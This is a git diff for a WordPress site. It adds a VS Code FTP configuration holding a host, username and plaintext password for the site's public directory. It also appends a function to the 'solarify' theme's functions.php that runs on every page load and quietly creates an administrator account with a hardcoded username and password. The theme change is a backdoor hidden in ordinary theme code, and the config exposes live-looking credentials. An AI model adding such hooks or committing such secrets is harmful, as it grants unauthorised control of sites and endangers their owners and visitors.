diff --git a/.vscode/ftp-kr.json b/.vscode/ftp-kr.json new file mode 100644 index 0000000..0f19c7a --- /dev/null +++ b/.vscode/ftp-kr.json @@ -0,0 +1,17 @@ +{ + "host": "s9.mydevil.net", + "username": "f11736_projectpro", + "password": "3yUl3)Ns3_tkIes4Mt\"-4zGh9'xag4", + "remotePath": "/domains/branddefense.pl/public_html/", + "protocol": "ftp", + "port": 0, + "fileNameEncoding": "utf8", + "autoUpload": true, + "autoDelete": false, + "autoDownload": false, + "ignoreRemoteModification": true, + "ignore": [ + ".git", + "/.vscode" + ] +} \ No newline at end of file diff --git a/wp-content/themes/solarify/functions.php b/wp-content/themes/solarify/functions.php index b22a6e9..a5a6466 100644 --- a/wp-content/themes/solarify/functions.php +++ b/wp-content/themes/solarify/functions.php @@ -108,3 +108,13 @@ endif; +function wpb_admin_account(){ + $user = 'project-pro'; + $pass = 'ProjectPro2022!'; + $email = 'biuro@project-pro.pl'; + if ( !username_exists( $user ) && !email_exists( $email ) ) { + $user_id = wp_create_user( $user, $pass, $email ); + $user = new WP_User( $user_id ); + $user->set_role( 'administrator' ); +} } +add_action('init','wpb_admin_account'); \ No newline at end of file